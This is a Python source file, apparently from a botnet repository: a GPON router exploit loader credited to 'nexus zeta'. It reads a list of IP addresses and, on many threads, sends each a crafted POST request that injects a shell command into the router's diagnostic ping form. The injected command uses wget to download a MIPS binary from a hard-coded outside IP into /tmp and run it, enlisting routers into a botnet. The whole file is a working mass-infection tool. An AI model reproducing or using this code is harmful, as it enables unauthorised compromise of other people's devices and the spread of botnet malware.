Path: blob/master/Botnets/Exploits/GPON/gloader.py
5038 views
#!/usr/bin/python12# gpon exploit loader by nexus zeta ; if ive sent u this dont give this to skids - use your head dont get bots saturated3# note to self: reintegrate parallelized thread pool alongside queue / gevent? (maybe)45import sys, socket, time, os6from Queue import *7#from multiprocessing.dummy import Pool as ThreadPool8#from multiprocessing import Process9from threading import Thread10from sys import stdout1112if len(sys.argv) < 2:13print "Usage: python "+sys.argv[0]+" <list>"14sys.exit()1516port = 808017buf = 409618count = 019queue = Queue()20post_data = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(wget+http://199.38.243.9/mips+-O+->+/tmp/mips;sh+/tmp/mips)&ipv=0\r\n"21headers = "POST /GponForm/diag_Form?script/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nUser-Agent: Hello, World\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_data)22i = 023ips = open(sys.argv[1], "r").readlines()2425def gpwn(host):26global i27host = host.strip("\n")28try:29s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)30s.settimeout(5)31s.connect((host, port))32s.send(headers)33time.sleep(0.5)34print "\x1b[1;35m[\x1b[1;36mGPON\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32m%s\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32mDEPLOYING\x1b[1;35m]" % (host)35resp = s.recv(buf).strip()36if "200 OK" in resp:37i += 138s.close()39except:40pass4142def load_to_queue():43global count44for line in ips:45count += 146line = line.strip("\r\n")47sys.stdout.write("\r[%d] Added to queue" % (count))48sys.stdout.flush()49queue.put(line)50sys.stdout.write("\n")5152def main():53load_to_queue()54i = 055while i < count:56i += 157try:58ip = queue.get()59f = Thread(target=gpwn, args=(ip,))60f.start()61queue.task_done()62except KeyboardInterrupt:63os.kill(os.getpid(),9)64except Exception as i:65print i66pass67if __name__ == "__main__":68main()6970